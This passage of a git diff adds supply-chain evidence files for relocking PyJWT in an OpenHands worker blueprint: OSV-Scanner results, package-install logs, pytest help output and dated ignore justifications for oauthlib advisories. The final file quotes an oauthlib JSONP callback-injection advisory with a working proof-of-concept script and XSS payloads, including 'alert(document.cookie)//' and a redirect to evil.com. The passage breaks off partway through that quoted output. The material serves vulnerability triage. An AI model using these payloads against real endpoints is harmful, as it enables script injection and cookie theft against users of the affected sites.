this advisory remains in `triage`. The remaining next step is a maintainer decision on remediation and merge. After a fix lands in `master` and is released, `patched_versions` and advisory lifecycle can be updated in a separate approved batch.\n\n---\n\n## Maintainer remediation update (2026-09-23)\n\nThe confirmed payload-parser finding has been fixed on `master`. Commit\n`5fde08a6cf906aa7698de2d6391d88b73006b17b` converts a recursive\npayload parse failure to the expected `DecodeError`; commit\n`9bc06658f875b9b40091539140bbbdc4639161c3` makes the regression tests\ndeterministic across supported Python versions. This update supersedes the\n2026-09-22 remediation-status statement that the fix had not landed.\n\nThe original pre-verification payload reproducer and the\n`PyJWKClient.get_signing_key_from_jwt` path were covered by regression tests.\nThe exact landed tree passed the full 39-environment local tox matrix and\nGitHub CI for commit `9bc06658f875b9b40091539140bbbdc4639161c3` passed\nall 25 jobs, including Ubuntu Python 3.14 and 3.15. The demonstrated impact\nremains an uncaught request-level exception in affected releases; there is\nstill no evidence of process termination, persistent resource exhaustion,\nauthentication bypass, or confidentiality or integrity impact.\n\nThe supported affected range remains `\u003e= 2.0.0a1, \u003c= 2.14.0`. The latest\nreleased version is 2.14.0, which predates these commits; no released\npatched version exists yet, so `patched_versions` remains unset. CVSS v3.1\n5.3 (Medium) and CWE-248 remain unchanged. The advisory may now move from\ntriage to private draft. The next lifecycle step is a new supported 2.x\nrelease containing the fix, followed by separately approved patched-version\nand publication updates after release verification.\n\n---\n\n## Maintainer release update (2026-09-23)\n\nPyJWT 2.15.0 is the first released version containing the payload-parser fix. Its GitHub release tag points to commit `1d41a6478e1562e68ff667fcd703356acf085f68`, which includes fix commit `5fde08a6cf906aa7698de2d6391d88b73006b17b` and deterministic regression-test commit `9bc06658f875b9b40091539140bbbdc4639161c3`. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.\n\nThe published PyPI wheel (`pyjwt-2.15.0-py3-none-any.whl`, SHA-256 `7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8`) was checked directly: the deeply nested unsigned payload now raises `DecodeError`, while an ordinary unsigned payload still decodes. The supported affected range remains `\u003e= 2.0.0a1, \u003c= 2.14.0`; the patched version is `2.15.0`. Earlier statements in this advisory that no released patched version exists are superseded by this update.\n\nThe confirmed impact remains an uncaught request-level exception in affected versions, not a demonstrated process crash or authentication bypass. The separate JWKS-response subclaim remains outside this advisory's confirmed PyJWT-owned scope.", + "id": "GHSA-42vr-xj54-vc7v", + "modified": "2026-09-30T16:00:09.812873551Z", + "published": "2026-09-30T15:41:05Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-42vr-xj54-vc7v" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101918" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/commit/5fde08a6cf906aa7698de2d6391d88b73006b17b" + }, + { + "type": "PACKAGE", + "url": "https://github.com/jpadilla/pyjwt" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.15.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", + "type": "CVSS_V3" + } + ], + "summary": "PyJWT: Unauthenticated RecursionError DoS in pre-verification payload parse (PyJWKClient.get_signing_key_from_jwt / verify_signature=False)" + } + ] + } + ] + } + ], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} + +stderr: +Warning: `source` exists as both a subcommand of OSV-Scanner and as a file on the filesystem. `source` is assumed to be a subcommand here. If you intended for `source` to be an argument to `source`, you must specify `source source` in your command line. +Starting filesystem walk for root: / +Scanned /baseline.lock file and found 174 packages +End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 22.349473ms elapsed, 22.349543ms wall time diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-bd1-control-upstream-test-tools.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-bd1-control-upstream-test-tools.txt new file mode 100644 index 000000000..c00840531 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-bd1-control-upstream-test-tools.txt @@ -0,0 +1,16 @@ +argv: ["rtk", "proxy", "uv", "pip", "install", "--python", "/venv/bin/python", "--group", "tests", "--constraints", "/control-constraints.txt", "--index-url", "https://pypi.org/simple"] +cwd: /pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68 +started_utc: 2026-09-30T17:12:03.527045+00:00 +ended_utc: 2026-09-30T17:12:03.593853+00:00 +exit_code: 0 + +stdout: + +stderr: +Using Python 3.13.15 environment at: /venv +Resolved 6 packages in 5ms +Installed 4 packages in 15ms + + coverage==7.10.7 + + iniconfig==2.3.0 + + pluggy==1.6.0 + + pytest==8.4.2 diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-build-hash-install.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-build-hash-install.txt new file mode 100644 index 000000000..f483bda49 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-build-hash-install.txt @@ -0,0 +1,15 @@ +argv: ["rtk", "proxy", "uv", "pip", "install", "--python", "/venv/bin/python", "--require-hashes", "--no-deps", "--only-binary", ":all:", "--index-url", "https://pypi.org/simple", "-r", "/blueprints/runtime-workers/openhands/build-requirements.lock"] +cwd: +started_utc: 2026-09-30T17:04:35.841872+00:00 +ended_utc: 2026-09-30T17:04:36.044919+00:00 +exit_code: 0 + +stdout: + +stderr: +Using Python 3.13.15 environment at: /venv +Resolved 3 packages in 75ms +Installed 3 packages in 48ms + + packaging==26.3 + + setuptools==84.0.0 + + wheel==0.46.3 diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-native-pytest-help.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-native-pytest-help.txt new file mode 100644 index 000000000..3ffe13012 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-native-pytest-help.txt @@ -0,0 +1,346 @@ +argv: ["rtk", "proxy", "/venv/bin/python", "-m", "pytest", "--help"] +cwd: +started_utc: 2026-09-30T17:12:03.596010+00:00 +ended_utc: 2026-09-30T17:12:04.330467+00:00 +exit_code: 0 + +stdout: +usage: __main__.py [options] [file_or_dir] [file_or_dir] [...] + +positional arguments: + file_or_dir + +general: + -k EXPRESSION Only run tests which match the given substring + expression. An expression is a Python evaluable + expression where all names are substring-matched against + test names and their parent classes. Example: -k + 'test_method or test_other' matches all test functions + and classes whose name contains 'test_method' or + 'test_other', while -k 'not test_method' matches those + that don't contain 'test_method' in their names. -k 'not + test_method and not test_other' will eliminate the + matches. Additionally keywords are matched to classes + and functions containing extra names in their + 'extra_keyword_matches' set, as well as functions which + have names assigned directly to them. The matching is + case-insensitive. + -m MARKEXPR Only run tests matching given mark expression. For + example: -m 'mark1 and not mark2'. + --markers show markers (builtin, plugin and per-project ones). + -x, --exitfirst Exit instantly on first error or failed test + --maxfail=num Exit after first num failures or errors + --strict-config Any warnings encountered while parsing the `pytest` + section of the configuration file raise errors + --strict-markers Markers not registered in the `markers` section of the + configuration file raise errors + --strict (Deprecated) alias to --strict-markers + --fixtures, --funcargs + Show available fixtures, sorted by plugin appearance + (fixtures with leading '_' are only shown with '-v') + --fixtures-per-test Show fixtures per test + --pdb Start the interactive Python debugger on errors or + KeyboardInterrupt + --pdbcls=modulename:classname + Specify a custom interactive Python debugger for use + with --pdb.For example: + --pdbcls=IPython.terminal.debugger:TerminalPdb + --trace Immediately break when running each test + --capture=method Per-test capturing method: one of fd|sys|no|tee-sys + -s Shortcut for --capture=no + --runxfail Report the results of xfail tests as if they were not + marked + --lf, --last-failed Rerun only the tests that failed at the last run (or all + if none failed) + --ff, --failed-first Run all tests, but run the last failures first. This may + re-order tests and thus lead to repeated fixture + setup/teardown. + --nf, --new-first Run tests from new files first, then the rest of the + tests sorted by file mtime + --cache-show=[CACHESHOW] + Show cache contents, don't perform collection or tests. + Optional argument: glob (default: '*'). + --cache-clear Remove all cache contents at start of test run + --lfnf, --last-failed-no-failures={all,none} + With ``--lf``, determines whether to execute tests when + there are no previously (known) failures or when no + cached ``lastfailed`` data was found. ``all`` (the + default) runs the full test suite again. ``none`` just + emits a message about no known failures and exits + successfully. + --sw, --stepwise Exit on test failure and continue from last failing test + next time + --sw-skip, --stepwise-skip + Ignore the first failing test but stop on the next + failing test. Implicitly enables --stepwise. + --sw-reset, --stepwise-reset + Resets stepwise state, restarting the stepwise workflow. + Implicitly enables --stepwise. + +Reporting: + --durations=N Show N slowest setup/test durations (N=0 for all) + --durations-min=N Minimal duration in seconds for inclusion in slowest + list. Default: 0.005 (or 0.0 if -vv is given). + -v, --verbose Increase verbosity + --no-header Disable header + --no-summary Disable summary + --no-fold-skipped Do not fold skipped tests in short summary. + --force-short-summary + Force condensed summary output regardless of verbosity + level. + -q, --quiet Decrease verbosity + --verbosity=VERBOSE Set verbosity. Default: 0. + -r chars Show extra test summary info as specified by chars: + (f)ailed, (E)rror, (s)kipped, (x)failed, (X)passed, + (p)assed, (P)assed with output, (a)ll except passed + (p/P), or (A)ll. (w)arnings are enabled by default (see + --disable-warnings), 'N' can be used to reset the list. + (default: 'fE'). + --disable-warnings, --disable-pytest-warnings + Disable warnings summary + -l, --showlocals Show locals in tracebacks (disabled by default) + --no-showlocals Hide locals in tracebacks (negate --showlocals passed + through addopts) + --tb=style Traceback print mode (auto/long/short/line/native/no) + --xfail-tb Show tracebacks for xfail (as long as --tb != no) + --show-capture={no,stdout,stderr,log,all} + Controls how captured stdout/stderr/log is shown on + failed tests. Default: all. + --full-trace Don't cut any tracebacks (default is to cut) + --color=color Color terminal output (yes/no/auto) + --code-highlight={yes,no} + Whether code should be highlighted (only if --color is + also enabled). Default: yes. + --pastebin=mode Send failed|all info to bpaste.net pastebin service + --junitxml, --junit-xml=path + Create junit-xml style report file at given path + --junitprefix, --junit-prefix=str + Prepend prefix to classnames in junit-xml output + +pytest-warnings: + -W, --pythonwarnings PYTHONWARNINGS + Set which warnings to report, see -W option of Python + itself + +collection: + --collect-only, --co Only collect tests, don't execute them + --pyargs Try to interpret all arguments as Python packages + --ignore=path Ignore path during collection (multi-allowed) + --ignore-glob=path Ignore path pattern during collection (multi-allowed) + --deselect=nodeid_prefix + Deselect item (via node id prefix) during collection + (multi-allowed) + --confcutdir=dir Only load conftest.py's relative to specified dir + --noconftest Don't load any conftest.py files + --keep-duplicates Keep duplicate tests + --collect-in-virtualenv + Don't ignore tests in a local virtualenv directory + --continue-on-collection-errors + Force test execution even if collection errors occur + --import-mode={prepend,append,importlib} + Prepend/append to sys.path when importing test modules + and conftest files. Default: prepend. + --doctest-modules Run doctests in all .py modules + --doctest-report={none,cdiff,ndiff,udiff,only_first_failure} + Choose another output format for diffs on doctest + failure + --doctest-glob=pat Doctests file matching pattern, default: test*.txt + --doctest-ignore-import-errors + Ignore doctest collection errors + --doctest-continue-on-failure + For a given doctest, continue to run after the first + failure + +test session debugging and configuration: + -c, --config-file FILE + Load configuration from `FILE` instead of trying to + locate one of the implicit configuration files. + --rootdir=ROOTDIR Define root directory for tests. Can be relative path: + 'root_dir', './root_dir', 'root_dir/another_dir/'; + absolute path: '/root_dir'; path with + variables: '$HOME/root_dir'. + --basetemp=dir Base temporary directory for this test run. (Warning: + this directory is removed if it exists.) + -V, --version Display pytest version and information about plugins. + When given twice, also display information about + plugins. + -h, --help Show help message and configuration info + -p name Early-load given plugin module name or entry point + (multi-allowed). To avoid loading of plugins, use the + `no:` prefix, e.g. `no:doctest`. See also --disable- + plugin-autoload. + --disable-plugin-autoload + Disable plugin auto-loading through entry point + packaging metadata. Only plugins explicitly specified in + -p or env var PYTEST_PLUGINS will be loaded. + --trace-config Trace considerations of conftest.py files + --debug=[DEBUG_FILE_NAME] + Store internal tracing debug information in this log + file. This file is opened with 'w' and truncated as a + result, care advised. Default: pytestdebug.log. + -o, --override-ini OVERRIDE_INI + Override ini option with "option=value" style, e.g. `-o + xfail_strict=True -o cache_dir=cache`. + --assert=MODE Control assertion debugging tools. + 'plain' performs no assertion debugging. + 'rewrite' (the default) rewrites assert statements in + test modules on import to provide assert expression + information. + --setup-only Only setup fixtures, do not execute tests + --setup-show Show setup of fixtures while executing tests + --setup-plan Show what fixtures and tests would be executed but don't + execute anything + +logging: + --log-level=LEVEL Level of messages to catch/display. Not set by default, + so it depends on the root/parent log handler's effective + level, where it is "WARNING" by default. + --log-format=LOG_FORMAT + Log format used by the logging module + --log-date-format=LOG_DATE_FORMAT + Log date format used by the logging module + --log-cli-level=LOG_CLI_LEVEL + CLI logging level + --log-cli-format=LOG_CLI_FORMAT + Log format used by the logging module + --log-cli-date-format=LOG_CLI_DATE_FORMAT + Log date format used by the logging module + --log-file=LOG_FILE Path to a file when logging will be written to + --log-file-mode={w,a} + Log file open mode + --log-file-level=LOG_FILE_LEVEL + Log file logging level + --log-file-format=LOG_FILE_FORMAT + Log format used by the logging module + --log-file-date-format=LOG_FILE_DATE_FORMAT + Log date format used by the logging module + --log-auto-indent=LOG_AUTO_INDENT + Auto-indent multiline messages passed to the logging + module. Accepts true|on, false|off or an integer. + --log-disable=LOGGER_DISABLE + Disable a logger by name. Can be passed multiple times. + +[pytest] ini-options in the first pytest.ini|tox.ini|setup.cfg|pyproject.toml file found: + + markers (linelist): Register new markers for test functions + empty_parameter_set_mark (string): + Default marker for empty parametersets + filterwarnings (linelist): + Each line specifies a pattern for + warnings.filterwarnings. Processed after + -W/--pythonwarnings. + norecursedirs (args): Directory patterns to avoid for recursion + testpaths (args): Directories to search for tests when no files or + directories are given on the command line + collect_imported_tests (bool): + Whether to collect tests in imported modules outside + `testpaths` + consider_namespace_packages (bool): + Consider namespace packages when resolving module names + during import + usefixtures (args): List of default fixtures to be used with this project + python_files (args): Glob-style file patterns for Python test module + discovery + python_classes (args): + Prefixes or glob names for Python test class discovery + python_functions (args): + Prefixes or glob names for Python test function and + method discovery + disable_test_id_escaping_and_forfeit_all_rights_to_community_support (bool): + Disable string escape non-ASCII characters, might cause + unwanted side effects(use at your own risk) + console_output_style (string): + Console output: "classic", or with additional progress + information ("progress" (percentage) | "count" | + "progress-even-when-capture-no" (forces progress even + when capture=no) + verbosity_test_cases (string): + Specify a verbosity level for test case execution, + overriding the main level. Higher levels will provide + more detailed information about each test case executed. + xfail_strict (bool): Default for the strict parameter of xfail markers when + not given explicitly (default: False) + tmp_path_retention_count (string): + How many sessions should we keep the `tmp_path` + directories, according to `tmp_path_retention_policy`. + tmp_path_retention_policy (string): + Controls which directories created by the `tmp_path` + fixture are kept around, based on test outcome. + (all/failed/none) + enable_assertion_pass_hook (bool): + Enables the pytest_assertion_pass hook. Make sure to + delete any previously generated pyc cache files. + truncation_limit_lines (string): + Set threshold of LINES after which truncation will take + effect + truncation_limit_chars (string): + Set threshold of CHARS after which truncation will take + effect + verbosity_assertions (string): + Specify a verbosity level for assertions, overriding the + main level. Higher levels will provide more detailed + explanation when an assertion fails. + junit_suite_name (string): + Test suite name for JUnit report + junit_logging (string): + Write captured log messages to JUnit report: one of + no|log|system-out|system-err|out-err|all + junit_log_passing_tests (bool): + Capture log information for passing tests to JUnit + report: + junit_duration_report (string): + Duration time to report: one of total|call + junit_family (string): + Emit XML for schema: one of legacy|xunit1|xunit2 + doctest_optionflags (args): + Option flags for doctests + doctest_encoding (string): + Encoding used for doctest files + cache_dir (string): Cache directory path + log_level (string): Default value for --log-level + log_format (string): Default value for --log-format + log_date_format (string): + Default value for --log-date-format + log_cli (bool): Enable log display during test run (also known as "live + logging") + log_cli_level (string): + Default value for --log-cli-level + log_cli_format (string): + Default value for --log-cli-format + log_cli_date_format (string): + Default value for --log-cli-date-format + log_file (string): Default value for --log-file + log_file_mode (string): + Default value for --log-file-mode + log_file_level (string): + Default value for --log-file-level + log_file_format (string): + Default value for --log-file-format + log_file_date_format (string): + Default value for --log-file-date-format + log_auto_indent (string): + Default value for --log-auto-indent + faulthandler_timeout (string): + Dump the traceback of all threads if a test takes more + than TIMEOUT seconds to finish + addopts (args): Extra command line options + minversion (string): Minimally required pytest version + pythonpath (paths): Add paths to sys.path + required_plugins (args): + Plugins that must be present for pytest to run + anyio_mode (string): AnyIO plugin mode (either "strict" or "auto") + +Environment variables: + CI When set (regardless of value), pytest knows it is running in a CI process and does not truncate summary info + BUILD_NUMBER Equivalent to CI + PYTEST_ADDOPTS Extra command line options + PYTEST_PLUGINS Comma-separated plugins to load during startup + PYTEST_DISABLE_PLUGIN_AUTOLOAD Set to disable plugin auto-loading + PYTEST_DEBUG Set to enable debug tracing of pytest's internals + + +to see available markers type: pytest --markers +to see available fixtures type: pytest --fixtures +(shown according to specified file_or_dir or current dir if not specified; fixtures with leading '_' are only shown with the '-v' option + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-current-config.json b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-current-config.json new file mode 100644 index 000000000..939d28473 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-current-config.json @@ -0,0 +1,9 @@ +{ + "results": [], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-current-config.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-current-config.txt new file mode 100644 index 000000000..5c5e814b9 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-current-config.txt @@ -0,0 +1,28 @@ +argv: ["rtk", "proxy", "/osv-scanner", "scan", "source", "--config", "/ci-config.toml", "--no-resolve", "--lockfile=requirements.txt:/candidate.lock", "--format", "json"] +cwd: +started_utc: 2026-09-30T17:15:28.851989+00:00 +ended_utc: 2026-09-30T17:15:29.440178+00:00 +exit_code: 0 + +stdout: +{ + "results": [], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} + +stderr: +Warning: `source` exists as both a subcommand of OSV-Scanner and as a file on the filesystem. `source` is assumed to be a subcommand here. If you intended for `source` to be an argument to `source`, you must specify `source source` in your command line. +Starting filesystem walk for root: / +Scanned /candidate.lock file and found 174 packages +End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 26.564888ms elapsed, 26.565338ms wall time +GHSA-hj66-6f7g-4r5v and 1 alias have been filtered out because: oauthlib 0.6.1 through 3.3.1 (fixed in 4.0.0): RevocationEndpoint wraps its response in the request's callback parameter only when constructed with enable_jsonp=True (oauthlib/oauth2/rfc6749/endpoints/revocation.py:72-73 and 81-82 in 3.3.1); oauthlib's pre-configured servers never pass it. Two allowed locks pin 3.3.1: the OpenHands recipe lock and the frozen, evaluation-only Lumibot lock (run offline under bwrap). A text search of one hash-verified artifact per requirement of both locks found no enable_jsonp or create_revocation_response and no importer of oauthlib's endpoints, grant types or servers: oauthlib is imported only by requests-oauthlib 2.0.0 (client classes, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class); every other RevocationEndpoint is Authlib's own class, and Authlib does not import oauthlib. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: the OpenHands lock was relocked onto PyJWT 2.14.0 on 2026-09-30 and still pins oauthlib 3.3.1; as of 2026-09-30, oauthlib 4.0.0 (PyPI, 2026-09-28T06:01Z) was inside the 7-day window the upstream workspace's exclude-newer applies (until 2026-10-05T06:01:19Z), so the relock onto it follows, tracked in #518 (owner: bc, session native-agent-stack-bc; earliest 2026-10-05T18:40:43Z, when PyJWT 2.15.1 has left its window too; due 2026-10-08), and in the same change deletes the OpenHands entry of IGNORE_ALLOWED_LOCKS, whose sha256 pin fails any change to that lock. The Lumibot lock stays frozen on 3.3.1, so on 2026-10-13 renew this ignore for that lock alone with a new dated reason, or delete that lock. +GHSA-xpv3-w29h-x7cv and 1 alias have been filtered out because: oauthlib >= 3.0.0, < 4.0.0 (fixed in 4.0.0; the scanned locks pin 3.3.1): an oauthlib authorization server compares the PKCE code_verifier with == (code_challenge_method_s256 at oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:49 and code_challenge_method_plain at :61, in 3.3.1), called only from AuthorizationCodeGrant.validate_token_request (line 506) when a token endpoint handles a request. Neither allowed lock (the OpenHands recipe lock and the frozen Lumibot lock) runs an oauthlib authorization server: in a text search of one hash-verified artifact per requirement of both locks, oauthlib is imported only by requests-oauthlib 2.0.0 (WebApplicationClient, LegacyApplicationClient, the oauth1 Client, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class), and nothing imports oauthlib's grant types, endpoints or servers; the PKCE code in openhands-sdk, requests-oauthlib and google-auth-oauthlib only generates a verifier as a client. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: as for GHSA-hj66-6f7g-4r5v; the OpenHands relock onto oauthlib 4.0.0 removes that lock's pin, and on 2026-10-13 this ignore is renewed for the frozen Lumibot lock alone or that lock is deleted. +Filtered 2 vulnerabilities from output +/ci-config.toml has unused ignores: + - GHSA-8mgp-746c-j5xp + - GHSA-h35f-9h28-mq5c diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-empty-config.json b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-empty-config.json new file mode 100644 index 000000000..999118a89 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-empty-config.json @@ -0,0 +1,234 @@ +{ + "results": [ + { + "source": { + "path": "/candidate.lock", + "type": "lockfile" + }, + "packages": [ + { + "package": { + "name": "oauthlib", + "version": "3.3.1", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-hj66-6f7g-4r5v" + ], + "aliases": [ + "CVE-2026-49264", + "GHSA-hj66-6f7g-4r5v" + ], + "max_severity": "6.1" + }, + { + "ids": [ + "GHSA-xpv3-w29h-x7cv" + ], + "aliases": [ + "CVE-2026-49265", + "GHSA-xpv3-w29h-x7cv" + ], + "max_severity": "6.8" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "\u003c= 3.3.1", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-hj66-6f7g-4r5v/GHSA-hj66-6f7g-4r5v.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0.6.1" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.6.1", + "0.6.2", + "0.6.3", + "0.7.0", + "0.7.1", + "0.7.2", + "1.0.0", + "1.0.1", + "1.0.2", + "1.0.3", + "1.1.0", + "1.1.1", + "1.1.2", + "2.0.0", + "2.0.1", + "2.0.2", + "2.0.3", + "2.0.4", + "2.0.5", + "2.0.6", + "2.0.7", + "2.1.0", + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49264" + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:53:41Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = '{}({});'.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + '();'\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`'s context, not the auth server's context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location='https://evil.com/'//\",\n \"eval('malicious')//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location='https://evil.com/'//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval('malicious')//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location='https://evil.com/'//();\n [200] Content-Type: (none) Body: eval('malicious')//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": 